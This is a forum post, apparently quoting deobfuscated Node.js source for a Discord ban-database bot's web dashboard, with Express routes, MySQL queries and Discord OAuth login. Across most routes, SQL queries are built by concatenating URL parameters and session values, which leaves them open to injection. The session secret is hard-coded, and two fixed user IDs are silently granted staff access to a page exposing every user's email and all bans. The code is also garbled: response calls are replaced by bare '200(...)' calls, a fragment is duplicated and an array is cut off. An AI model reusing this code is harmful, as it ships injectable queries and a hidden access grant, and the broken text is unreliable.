            'SELECT * FROM siteHeadButtons',
            async function (_0x412094, _0x36a2c0) {
              if (_0x412094) {
                throw _0x412094
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x51edc0.session.passport.user.id +
                  '"',
                async function (_0x48bfc3, _0x4e17f9) {
                  let _0x4aeab4
                  if (_0x48bfc3) {
                    throw _0x48bfc3
                  }
                  if (!_0x4e17f9[0]) {
                    _0x4aeab4 = 'False'
                  } else {
                    if (_0x4e17f9[0].active == 1) {
                      _0x4aeab4 = 'True'
                    } else {
                      _0x4aeab4 = 'False'
                    }
                  }
                  let _0x171030
                  if (
                    config.bot.owners.includes(
                      _0x51edc0.session.passport.user.id
                    )
                  ) {
                    _0x171030 = true
                  } else {
                    _0x171030 = false
                  }
                  if (_0x51edc0.isAuthenticated()) {
                    if (
                      _0x51edc0.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x51edc0.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x164148 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x43b870.render('account.ejs', {
                    user: _0x51edc0.session.passport.user,
                    loggedIn: _0x51edc0.isAuthenticated(),
                    siteInfo: _0x545eaa[0],
                    isStaff: _0x164148,
                    buttons: _0x36a2c0,
                    isUserBanned: _0x4aeab4,
                    isOwner: _0x171030,
                    userBans: _0x4e17f9,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/account/:id', checkAuth, async function (_0x462e4d, _0x107036) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0xca1ef6, _0x53c1d2) {
      let _0x2b0d62
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x462e4d.session.passport.user.id +
          '"',
        async function (_0x1e858a, _0x251571) {
          if (_0x1e858a) {
            throw _0x1e858a
          }
          if (!_0x251571[0]) {
            _0x2b0d62 = false
            if (
              config.bot.owners.includes(_0x462e4d.session.passport.user.id)
            ) {
              _0x2b0d62 = true
            }
          } else {
            _0x2b0d62 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x40fbd6, _0x3c8f12) {
              if (_0x40fbd6) {
                throw _0x40fbd6
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x462e4d.session.passport.user.id +
                  '"',
                async function (_0x458ec9, _0x526bc7) {
                  let _0x5b6d56
                  if (_0x458ec9) {
                    throw _0x458ec9
                  }
                  if (!_0x526bc7[0]) {
                    _0x5b6d56 = 'False'
                  } else {
                    if (_0x526bc7[0].active == 1) {
                      _0x5b6d56 = 'True'
                    } else {
                      _0x5b6d56 = 'False'
                    }
                  }
                  let _0x13cad0
                  if (
                    config.bot.owners.includes(
                      _0x462e4d.session.passport.user.id
                    )
                  ) {
                    _0x13cad0 = true
                  } else {
                    _0x13cad0 = false
                  }
                  if (_0x462e4d.isAuthenticated()) {
                    if (
                      _0x462e4d.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x462e4d.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x2b0d62 = true
                    } else {
                      dev = false
                    }
                  }
                  const _0x192f4e = await client.users.fetch(
                    _0x462e4d.params.id
                  )
                  client.con.query(
                    'SELECT * FROM users WHERE id = "' +
                      _0x462e4d.params.id +
                      '"',
                    async function (_0x57e8fc, _0x4e5401) {
                      if (_0x57e8fc) {
                        throw _0x57e8fc
                      }
                      if (!_0x4e5401[0]) {
                        _0x192f4e.email = 'Null'
                      } else {
                        _0x192f4e.email = _0x4e5401[0].userEmail
                      }
                      _0x107036.render('account.ejs', {
                        user: _0x192f4e,
                        loggedIn: _0x462e4d.isAuthenticated(),
                        siteInfo: _0x53c1d2[0],
                        isStaff: _0x2b0d62,
                        buttons: _0x3c8f12,
                        isUserBanned: _0x5b6d56,
                        isOwner: _0x13cad0,
                        userBans: _0x526bc7,
                        isDev: dev,
                      })
                    }
                  )
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/report', checkAuth, async function (_0x2b9de8, _0x22ba2f) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x2e970c, _0xac0246) {
      let _0x1debe3
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x2b9de8.session.passport.user.id +
          '"',
        async function (_0x24395c, _0xe732fa) {
          if (_0x24395c) {
            throw _0x24395c
          }
          if (!_0xe732fa[0]) {
            _0x1debe3 = false
            if (
              config.bot.owners.includes(_0x2b9de8.session.passport.user.id)
            ) {
              _0x1debe3 = true
            }
          } else {
            _0x1debe3 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x136b14, _0x5569f5) {
              if (_0x136b14) {
                throw _0x136b14
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x2b9de8.session.passport.user.id +
                  '"',
                async function (_0x15a125, _0x2732ed) {
                  let _0x500fe9
                  if (_0x15a125) {
                    throw _0x15a125
                  }
                  if (!_0x2732ed[0]) {
                    _0x500fe9 = 'False'
                  } else {
                    if (_0x2732ed[0].active == 1) {
                      _0x500fe9 = 'True'
                    } else {
                      _0x500fe9 = 'False'
                    }
                  }
                  let _0x2786f2
                  if (
                    config.bot.owners.includes(
                      _0x2b9de8.session.passport.user.id
                    )
                  ) {
                    _0x2786f2 = true
                  } else {
                    _0x2786f2 = false
                  }
                  if (_0x2b9de8.isAuthenticated()) {
                    if (
                      _0x2b9de8.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x2b9de8.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x1debe3 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x22ba2f.render('report.ejs', {
                    user: _0x2b9de8.session.passport.user,
                    loggedIn: _0x2b9de8.isAuthenticated(),
                    siteInfo: _0xac0246[0],
                    isStaff: _0x1debe3,
                    buttons: _0x5569f5,
                    isUserBanned: _0x500fe9,
                    isOwner: _0x2786f2,
                    userBans: _0x2732ed,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/appeal', checkAuth, async function (_0xe81f44, _0x1e80bd) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x12ad2b, _0x563051) {
      let _0x5024b4
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0xe81f44.session.passport.user.id +
          '"',
        async function (_0x5c1789, _0x409c12) {
          if (_0x5c1789) {
            throw _0x5c1789
          }
          if (!_0x409c12[0]) {
            _0x5024b4 = false
            if (
              config.bot.owners.includes(_0xe81f44.session.passport.user.id)
            ) {
              _0x5024b4 = true
            }
          } else {
            _0x5024b4 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x6635a4, _0x13fb85) {
              if (_0x6635a4) {
                throw _0x6635a4
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId="' +
                  _0xe81f44.session.passport.user.id +
                  '"',
                async function (_0x17e315, _0x1e91ca) {
                  let _0xff8985
                  if (_0x17e315) {
                    throw _0x17e315
                  }
                  if (!_0x1e91ca[0]) {
                    _0xff8985 = false
                  } else {
                    if (_0x1e91ca[0].active === 'true') {
                      _0xff8985 = true
                    } else {
                      if (_0x1e91ca[0].active === 'false') {
                        _0xff8985 = false
                      }
                    }
                  }
                  let _0x29d8a7
                  if (
                    config.bot.owners.includes(
                      _0xe81f44.session.passport.user.id
                    )
                  ) {
                    _0x29d8a7 = true
                  } else {
                    _0x29d8a7 = false
                  }
                  if (_0xe81f44.isAuthenticated()) {
                    if (
                      _0xe81f44.session.passport.user.id ===
                        '539975000799838249' ||
                      _0xe81f44.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x5024b4 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x1e80bd.render('appeal.ejs', {
                    user: _0xe81f44.session.passport.user,
                    loggedIn: _0xe81f44.isAuthenticated(),
                    siteInfo: _0x563051[0],
                    isStaff: _0x5024b4,
                    buttons: _0x13fb85,
                    isUserBanned: _0xff8985,
                    isOwner: _0x29d8a7,
                    userBans: _0x1e91ca,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/search', checkAuth, async function (_0x2a2c14, _0x4a932d) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x1cefb2, _0x38296d) {
      let _0x253d95
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x2a2c14.session.passport.user.id +
          '"',
        async function (_0x4d9c54, _0x52403e) {
          if (_0x4d9c54) {
            throw _0x4d9c54
          }
          if (!_0x52403e[0]) {
            _0x253d95 = false
            if (
              config.bot.owners.includes(_0x2a2c14.session.passport.user.id)
            ) {
              _0x253d95 = true
            }
          } else {
            _0x253d95 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x2790bf, _0x152a1b) {
              if (_0x2790bf) {
                throw _0x2790bf
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId="' +
                  _0x2a2c14.session.passport.user.id +
                  '"',
                async function (_0x27ef14, _0x2c15d) {
                  let _0x2a30ce
                  if (_0x27ef14) {
                    throw _0x27ef14
                  }
                  if (!_0x2c15d[0]) {
                    _0x2a30ce = false
                  } else {
                    if (_0x2c15d[0].active === '1') {
                      _0x2a30ce = true
                    } else {
                      if (_0x2c15d[0].active === 'no') {
                        _0x2a30ce = false
                      }
                    }
                  }
                  let _0x52c282
                  if (
                    config.bot.owners.includes(
                      _0x2a2c14.session.passport.user.id
                    )
                  ) {
                    _0x52c282 = true
                  } else {
                    _0x52c282 = false
                  }
                  if (_0x2a2c14.isAuthenticated()) {
                    if (
                      _0x2a2c14.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x2a2c14.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x253d95 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x4a932d.render('search.ejs', {
                    user: _0x2a2c14.session.passport.user,
                    loggedIn: _0x2a2c14.isAuthenticated(),
                    siteInfo: _0x38296d[0],
                    isStaff: _0x253d95,
                    buttons: _0x152a1b,
                    isUserBanned: _0x2a30ce,
                    isOwner: _0x52c282,
                    userBans: _0x2c15d,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/dashboard', checkAuth, async function (_0x35b240, _0x5e821e) {
  let _0x3930a7 = []
  let _0x32627e = []
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x3698eb, _0xb41321) {
      let _0x311e91
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x35b240.session.passport.user.id +
          '"',
        async function (_0x1441ac, _0x33efad) {
          if (_0x1441ac) {
            throw _0x1441ac
          }
          if (!_0x33efad[0]) {
            _0x311e91 = false
            if (
              config.bot.owners.includes(_0x35b240.session.passport.user.id)
            ) {
              _0x311e91 = true
            }
          } else {
            _0x311e91 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x480c6a, _0x3ec433) {
              if (_0x480c6a) {
                throw _0x480c6a
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x35b240.session.passport.user.id +
                  '"',
                async function (_0x53d5bd, _0x5ea7bb) {
                  let _0x37d39b
                  if (_0x53d5bd) {
                    throw _0x53d5bd
                  }
                  if (!_0x5ea7bb[0]) {
                    _0x37d39b = 'False'
                  } else {
                    if (_0x5ea7bb[0].active == 1) {
                      _0x37d39b = 'True'
                    } else {
                      _0x37d39b = 'False'
                    }
                  }
                  let _0x59edf5
                  if (
                    config.bot.owners.includes(
                      _0x35b240.session.passport.user.id
                    )
                  ) {
                    _0x59edf5 = true
                  } else {
                    _0x59edf5 = false
                  }
                  if (_0x35b240.isAuthenticated()) {
                    if (
                      _0x35b240.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x35b240.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x311e91 = true
                    } else {
                      dev = false
                    }
                  }
                  await _0x35b240.session.passport.user.guilds.forEach(
                    async function (_0x4224d7) {
                      if (_0x4224d7.owner) {
                        let _0x48f032 = await client.guilds.cache.get(
                          _0x4224d7.id
                        )
                        if (!_0x48f032) {
                          let _0x4ce1e9 = {
                            button: 'Invite Me',
                            style: 'guild-invite',
                            imgstyle: 'imgguildstyle-invite',
                            btn: 'btn-red',
                            target: '_blank',
                            link:
                              'https://discord.com/api/oauth2/authorize?client_id=' +
                              client.user.id +
                              '&permissions=8&scope=bot%20applications.commands',
                            data: _0x4224d7,
                          }
                          _0x32627e.push(_0x4ce1e9)
                        } else {
                          let _0x23e9b3 = {
                            button: 'Manage Guild',
                            style: 'guild-manage',
                            imgstyle: 'imgguildstyle-manage',
                            btn: 'btn-success',
                            target: '',
                            link: '/dashboard/manage/' + _0x4224d7.id,
                            data: _0x4224d7,
                          }
                          _0x32627e.push(_0x23e9b3)
                        }
                      }
                    }
                  )
                  _0x5e821e.render('dashboard.ejs', {
                    user: _0x35b240.session.passport.user,
                    loggedIn: _0x35b240.isAuthenticated(),
                    siteInfo: _0xb41321[0],
                    isStaff: _0x311e91,
                    buttons: _0x3ec433,
                    isUserBanned: _0x37d39b,
                    isOwner: _0x59edf5,
                    userBans: _0x5ea7bb,
                    isDev: dev,
                    bot: client,
                    guilds: _0x32627e,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get(
  '/dashboard/manage/:id',
  checkAuth,
  async function (_0x505a6a, _0x16173d) {
    client.con.query(
      'SELECT * FROM siteSettings WHERE id="1"',
      async function (_0x1f84e7, _0x4080df) {
        let _0x4aa4b2
        client.con.query(
          'SELECT * FROM staff WHERE staffid="' +
            _0x505a6a.session.passport.user.id +
            '"',
          async function (_0x3b3727, _0x3ef541) {
            if (_0x3b3727) {
              throw _0x3b3727
            }
            if (!_0x3ef541[0]) {
              _0x4aa4b2 = false
              if (
                config.bot.owners.includes(_0x505a6a.session.passport.user.id)
              ) {
                _0x4aa4b2 = true
              }
            } else {
              _0x4aa4b2 = true
            }
            let _0x32dcf0 = _0x505a6a.params.id
            client.con.query(
              'SELECT * FROM siteHeadButtons',
              async function (_0x48462d, _0x348184) {
                if (_0x48462d) {
                  throw _0x48462d
                }
                client.con.query(
                  'SELECT * FROM bans WHERE bannedUserId = "' +
                    _0x505a6a.session.passport.user.id +
                    '"',
                  async function (_0x58a10f, _0x23c925) {
                    let _0x374a6c
                    if (_0x58a10f) {
                      throw _0x58a10f
                    }
                    if (!_0x23c925[0]) {
                      _0x374a6c = 'False'
                    } else {
                      if (_0x23c925[0].active == 1) {
                        _0x374a6c = 'True'
                      } else {
                        _0x374a6c = 'False'
                      }
                    }
                    let _0x1e5bd1
                    if (
                      config.bot.owners.includes(
                        _0x505a6a.session.passport.user.id
                      )
                    ) {
                      _0x1e5bd1 = true
                    } else {
                      _0x1e5bd1 = false
                    }
                    if (_0x505a6a.isAuthenticated()) {
                      if (
                        _0x505a6a.session.passport.user.id ===
                          '539975000799838249' ||
                        _0x505a6a.session.passport.user.id ===
                          '668497496124686347'
                      ) {
                        dev = true
                        _0x4aa4b2 = true
                      } else {
                        dev = false
                      }
                    }
                    let _0x3bbc84 = client.guilds.cache.get(_0x505a6a.params.id)
                    client.con.query(
                      'SELECT * FROM guildsettings WHERE guildid = "' +
                        _0x505a6a.params.id +
                        '"',
                      async function (_0xc66c52, _0x15d986) {
                        if (_0xc66c52) {
                          throw _0xc66c52
                        }
                        if (!_0x15d986[0]) {
                          client.con.query(
                            'INSERT INTO guildsettings (guildid, autobans) VALUES ("' +
                              _0x505a6a.params.id +
                              '", "1")',
                            async function (_0x3dc44a) {
                              if (_0x3dc44a) {
                                throw _0x3dc44a
                              }
                            }
                          )
                        }
                        client.con.query(
                          'SELECT * FROM guildsettings WHERE guildid = "' +
                            _0x505a6a.params.id +
                            '"',
                          async function (_0x1fe5c7, _0x207619) {
                            if (_0x1fe5c7) {
                              throw _0x1fe5c7
                            }
                            _0x16173d.render('manageGuild.ejs', {
                              user: _0x505a6a.session.passport.user,
                              loggedIn: _0x505a6a.isAuthenticated(),
                              siteInfo: _0x4080df[0],
                              isStaff: _0x4aa4b2,
                              buttons: _0x348184,
                              isUserBanned: _0x374a6c,
                              isOwner: _0x1e5bd1,
                              userBans: _0x23c925,
                              isDev: dev,
                              guild: _0x3bbc84,
                              guildSettings: _0x207619[0],
                            })
                          }
                        )
                      }
                    )
                  }
                )
              }
            )
          }
        )
      }
    )
  }
)
app.get('/staff', checkAuth, async function (_0x517470, _0x2d8265) {
  let _0x297c9e
  let _0x278702
  let _0x3df55c
  let _0x9e914f = []
  let _0x5c7813 = []
  let _0x42b988 = []
  client.con.query(
    'SELECT * FROM staff WHERE staffid="' +
      _0x517470.session.passport.user.id +
      '"',
    async function (_0x38a10a, _0x3ac4a8) {
      if (_0x38a10a) {
        throw _0x38a10a
      }
      if (!_0x3ac4a8[0]) {
        _0x297c9e = false
        if (config.bot.owners.includes(_0x517470.session.passport.user.id)) {
          _0x297c9e = true
        }
      } else {
        _0x297c9e = true
      }
      client.con.query(
        'SELECT * FROM siteSettings WHERE id="1"',
        async function (_0x5aad16, _0x391e6f) {
          if (_0x297c9e) {
            if (
              config.bot.owners.includes(_0x517470.session.passport.user.id)
            ) {
              _0x278702 = true
            } else {
              _0x278702 = false
            }
            if (_0x517470?.query?.page) {
              _0x3df55c = '/' + _0x517470.query.page
            } else {
              _0x3df55c = 'none'
            }
            client.con.query(
              'SELECT * FROM siteHeadButtons',
              async function (_0xaea17d, _0x49ab9e) {
                if (_0xaea17d) {
                  throw _0xaea17d
                }
                await client.con.query(
                  'SELECT * FROM staff',
                  async function (_0x54471c, _0x14cf16) {
                    if (_0x54471c) {
                      throw _0x54471c
                    }
                    await _0x14cf16.forEach(async function (_0x786f5) {
                      let _0x53eaf6 = Number(_0x786f5.staffid)
                      if (!isNaN(_0x53eaf6)) {
                        let _0x216590 = await client.users.fetch(
                          _0x786f5.staffid
                        )
                        let _0x52b721 = await client.users.fetch(
                          _0x786f5.userid
                        )
                        await _0x9e914f.push({
                          staffid: _0x786f5.staffid,
                          stafftag: _0x216590.tag,
                          userid: _0x786f5.userid,
                          usertag: _0x52b721.tag,
                        })
                      } else {
                        await client.con.query(
                          'DELETE FROM staff WHERE staffid="' +
                            _0x786f5.staffid +
                            '" LIMIT 1',
                          async function (_0x229fef, _0x14dcf3) {
                            if (_0x229fef) {
                              throw _0x229fef
                            }
                          }
                        )
                      }
                    })
                    await client.guilds.cache.forEach(async function (
                      _0x349f9e
                    ) {
                      const _0x213d08 = await client.users
                        .fetch(_0x349f9e.ownerId)
                        .catch((_0x413d6c) => {})
                      let _0x4e9fb2 = moment(_0x349f9e.createdAt)
                      let _0xf07208 =
                        _0x4e9fb2.format('DD/MM/YYYY') +
                        '( ' +
                        _0x4e9fb2.fromNow() +
                        ' )'
                      _0x5c7813.push({
                        guildId: _0x349f9e.id,
                        guildName: _0x349f9e.name,
                        ownerId: _0x213d08.id,
                        ownerTag: _0x213d08.tag,
                        guildIcon:
                          'https://cdn.discordapp.com/icons/' +
                          _0x349f9e.id +
                          '/' +
                          _0x349f9e.icon,
                        guildCreated: _0x349f9e.createdAt,
                        guildMembers: _0xf07208,
                      })
                    })
                    if (_0x517470.isAuthenticated()) {
                      if (
                        _0x517470.session.passport.user.id ===
                          '539975000799838249' ||
                        _0x517470.session.passport.user.id ===
                          '668497496124686347'
                      ) {
                        dev = true
                        _0x297c9e = true
                      } else {
                        dev = false
                      }
                    }
                    if (!_0x297c9e) {
                      200('/')
                    }
                    client.con.query(
                      'SELECT * FROM users',
                      async function (_0x28cae2, _0x234757) {
                        if (_0x28cae2) {
                          throw _0x28cae2
                        }
                        client.con.query(
                          'SELECT * FROM bans',
                          async function (_0x211478, _0x46ac17) {
                            if (_0x211478) {
                              throw _0x211478
                            }
                            await _0x46ac17.forEach(async (_0x123375) => {
                              await _0x42b988.push({
                                userid: _0x123375.bannedUserId,
                                userTag: _0x123375.bannedUserTag,
                                staffid: _0x123375.staffMemberId,
                                staffTag: _0x123375.staffMemberTag,
                                reason: _0x123375.reason,
                                prrof: _0x123375.proof,
                                banId: _0x123375.banId,
                                time: _0x123375.dateTime,
                                active: _0x123375.active,
                                id: _0x123375.banId,
                              })
                            })
                            _0x2d8265.statusCode = 200
                            200('Content-Type', 'text/html')
                            200('staffhome.ejs', {
                              userCon: _0x234757,
                              bot: client,
                              user: _0x517470.session.passport.user,
                              loggedIn: _0x517470.isAuthenticated(),
                              config: config,
                              siteInfo: _0x391e6f[0],
                              isStaff: _0x297c9e,
                              isOwner: _0x278702,
                              page: _0x3df55c,
                              buttons: _0x49ab9e,
                              staff: _0x9e914f,
                              guilds: _0x5c7813,
                              bans: _0x42b988,
                            })
                          }
                        )
                      }
                    )
                  }
                )
              }
            )
          } else {
            200('/')
          }
        }
      )
    }
  )
})
app.get('/error', checkAuth, async function (_0x1005d7, _0x3a3e5f) {
  var _0x4ea81e = _0x1005d7.query.err || 'An error occured, go back.'
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x588892, _0x8bcd44) {
      let _0x43ff90
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x1005d7.session.passport.user.id +
          '"',
        async function (_0x199c9c, _0x2cfedf) {
          if (_0x199c9c) {
            throw _0x199c9c
          }
          if (!_0x2cfedf[0]) {
            _0x43ff90 = false
            if (
              config.bot.owners.includes(_0x1005d7.session.passport.user.id)
            ) {
              _0x43ff90 = true
            }
          } else {
            _0x43ff90 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0xe23a1e, _0x1aec5c) {
              if (_0xe23a1e) {
                throw _0xe23a1e
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x1005d7.session.passport.user.id +
                  '"',
                async function (_0x34b7fb, _0x403035) {
                  let _0x1c0735
                  if (_0x34b7fb) {
                    throw _0x34b7fb
                  }
                  if (!_0x403035[0]) {
                    _0x1c0735 = 'False'
                  } else {
                    if (_0x403035[0].active == 1) {
                      _0x1c0735 = 'True'
                    } else {
                      _0x1c0735 = 'False'
                    }
                  }
                  let _0x202df8
                  if (
                    config.bot.owners.includes(
                      _0x1005d7.session.passport.user.id
                    )
                  ) {
                    _0x202df8 = true
                  } else {
                    _0x202df8 = false
                  }
                  if (_0x1005d7.isAuthenticated()) {
                    if (
                      _0x1005d7.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x1005d7.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x43ff90 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x3a3e5f.render('error.ejs', {
                    user: _0x1005d7.session.passport.user,
                    loggedIn: _0x1005d7.isAuthenticated(),
                    siteInfo: _0x8bcd44[0],
                    isStaff: _0x43ff90,
                    buttons: _0x1aec5c,
                    isUserBanned: _0x1c0735,
                    isOwner: _0x202df8,
                    userBans: _0x403035,
                    isDev: dev,
                    bot: client,
                    error: _0x4ea81e,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/discorduserdata', checkAuth, async function (_0x55d5a1, _0xc16733) {
  _0xc16733
    .type('json')
    .send(JSON.stringify(_0x55d5a1.session.passport.user, null, 4) + '\n')
})
app.get('/auth/discord', passport.authenticate('discord'))
app.get(
  '/auth/discord/callback',
  passport.authenticate('discord', { failureRedirect: '/' }),
  async function (_0x1f1fdb, _0x58287c) {
    client.con.query(
      "SELECT * FROM users WHERE userId = '" +
        _0x1f1fdb.session.passport.user.id +
        "'",
      (_0x307254, _0x448d34) => {
        if (_0x448d34[0]) {
        } else {
          let _0x182920 = _0x1f1fdb.session.passport.user.username
            .replaceAll('"', ' ')
            .replaceAll('`', ' ')
          client.con.query(
            "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('" +
              _0x1f1fdb.session.passport.user.id +
              "', '" +
              _0x182920 +
              "', '" +
              _0x1f1fdb.session.passport.user.tag +
              "', '" +
              _0x1f1fdb.session.passport.user.email +
              "')",
            function (_0x5bda17, _0x39393c) {
              if (_0x5bda17) {
                console.log(_0x5bda17)
              }
            }
          )
        }
      }
    )
    if (_0x1f1fdb.session?.loginRef) {
      _0x58287c.redirect(_0x1f1fdb.session.loginRef)
    } else {
      _0x58287c.redirect('/')
    }
    delete _0x1f1fdb.session?.loginRef
    client.users.fetch(_0x1f1fdb.session.passport.user.id).then((_0x16f282) => {
      moment.locale('en')
      let _0x51c5ed = new MessageActionRow().addComponents(
        new MessageButton()
          .setLabel('User Account')
          .setStyle('LINK')
          .setURL(
            (config.app.domain.endsWith('/')
              ? config.app.domain.slice(0, -1)
              : config.app.domain) +
              '/account/' +
              _0x16f282.id
          )
      )
      let _0xba4690 = new MessageEmbed()
        .setTitle('User Logged In')
        .setDescription(
          '**User:** ' +
            _0x16f282 +
            ' ' +
            _0x16f282.tag +
            ' (`' +
            _0x16f282.id +
            '`)\n**Time:** <t:' +
            moment().unix() +
            ':R> | ' +
            moment().format('LLLL')
        )
        .setThumbnail(_0x16f282.displayAvatarURL({ dynamic: true }))
        .setFooter({
          text: '' + client.user.username,
          iconURL: client.user.displayAvatarURL({ dynamic: true }),
        })
      const _0x5b3287 = client.channels.cache.get(config.info.siteLogs)
      _0x5b3287.send({
        embeds: [_0xba4690],
        components: [_0x51c5ed],
      })
    })
  }
)
app.get('*', function (_0x5282a9, _0x196a96) {
  _0x196a96.render('404.ejs')
})
app.listen(config.app.port)
process.report.reportOnFatalError = true
process.on('unhandledRejection', async (_0x364272) => {
  if (_0x364272.toString().includes('EADDRINUSE')) {
    return
  }
  const _0x13f4b9 = Date.now()
  console.log(_0x364272)
  let _0x29a4f3 = ['[ERR_HTTP_HEADERS_SENT]']
  let _0x1a7a3f = true
  _0x29a4f3.forEach(function (_0x46703a) {
    if (_0x364272.toString().includes(_0x46703a)) {
      _0x1a7a3f = false
    }
  })
  if (!_0x1a7a3f) {
    return
  }
  if (_0x364272.code === 'ER_NO_SUCH_TABLE') {
    return
  }
  const _0x501c8b = new formData()
  _0x501c8b.append('title', '[A] ' + _0x364272)
  _0x501c8b.append('description', '```\n' + _0x364272.stack + '```')
  _0x501c8b.append('category', 'Automatic')
  _0x501c8b.append('versions', '2.0.6')
  _0x501c8b.append('links', '' + config.app.domain)
})
client.login(config.bot.token).catch((_0x314d88) => {
  console.log(_0x314d88.message)
})
{
    return
  }
  if (_0x364272.code === 'ER_NO_SUCH_TABLE') {
    return
  }
  const _0x501c8b = new formData()
  _0x501c8b.append('title', '[A] ' + _0x364272)
  _0x501c8b.append('description', '```\n' + _0x364272.stack + '```')
  _0x501c8b.append('category', 'Automatic')
  _0x501c8b.append('versions', '2.0.6')
  _0x501c8b.append('links', '' + config.app.domain)
})
client.login(config.bot.token).catch((_0x314d88) => {
  console.log(_0x314d88.message)
})
yes420

Posted

On 5/2/2023 at 5:48 AM, Elite22 said:
const Discord = require('discord.js')
const config = require('./config.js')
const chalk = require('chalk')
const mysql = require('mysql')
const fs = require('fs')
const passport = require('passport')
const multer = require('multer')
const bodyParser = require('body-parser')
const session = require('express-session')
const formData = require('form-data')
let con = mysql.createConnection(config.sql)
const moment = require('moment')
const ms = require('ms')
const discordModals = require('discord-modals')
const client = new Discord.Client({
  shards: 'auto',
  allowedMentions: {
    parse: [],
    repliedUser: false,
  },
  partials: ['MESSAGE', 'CHANNEL', 'REACTION'],
  intents: [
    Discord.Intents.FLAGS.GUILDS,
    Discord.Intents.FLAGS.GUILD_MEMBERS,
    Discord.Intents.FLAGS.GUILD_VOICE_STATES,
    Discord.Intents.FLAGS.GUILD_MESSAGES,
    Discord.Intents.FLAGS.GUILD_MESSAGE_REACTIONS,
  ],
})
discordModals(client)
client.logo = config.miscOptions.botIconUrl
client.color = config.miscOptions.themeColor
client.footer = { text: 'Slash BanDB | Xolify#0207' }
client.commands = new Discord.Collection()
client.cooldowns = new Discord.Collection()
client.slashCommands = new Discord.Collection()
client.aliases = new Discord.Collection()
client.extensions = new Discord.Collection()
client.categories = require('fs').readdirSync('./commands')
client.con = con
const express = require('express')
const app = express()
if (Number(process.version.slice(1).split('.')[0] < 16)) {
  throw new Error(
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org'
  )
}
var multerStorage = multer.memoryStorage()
app.use(multer({ storage: multerStorage }).any())
app.use(bodyParser.urlencoded({ extended: false }))
app.use(
  session({
    secret: 'keyboard cat',
    resave: false,
    saveUninitialized: false,
    cookie: { maxAge: 31556952000 },
  })
)
app.use(passport.initialize())
app.use(passport.session())
app.use(express.static('public'))
app.use('/assets', express.static(__dirname + 'public/assets'))
app.set('views', './views')
app.set('view engine', 'ejs')
require('./backend/routing.js')(client, app, config)
async function checkAuth(_0x15d58a, _0x37293d, _0x483e35) {
  if (_0x15d58a.isAuthenticated()) {
    _0x483e35()
  } else {
    _0x37293d.redirect('/auth/discord')
  }
}
module.exports = client
function _0x2766() {
  return [
    '_blank',
    '/dashboard/manage/',
    'name',
    'info',
    'botIconUrl',
    'siteLogs',
    'versions',
    'proof',
    'ER_NO_SUCH_TABLE',
    'LLLL',
    'length',
    '/account/:id',
    'SELECT * FROM users WHERE id = "',
    'https://discord.com/api/oauth2/authorize?client_id=',
    './events/ready.js',
    'setThumbnail',
    'authenticate',
    'account.ejs',
    'true',
    'set',
    'unix',
    'setTitle',
    'owner',
    "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('",
    'CHANNEL',
    'view engine',
    'owners',
    'any',
    '285620xfjNid',
    'SELECT * FROM staff WHERE staffid="',
    'code',
    'token',
    'cooldowns',
    'public',
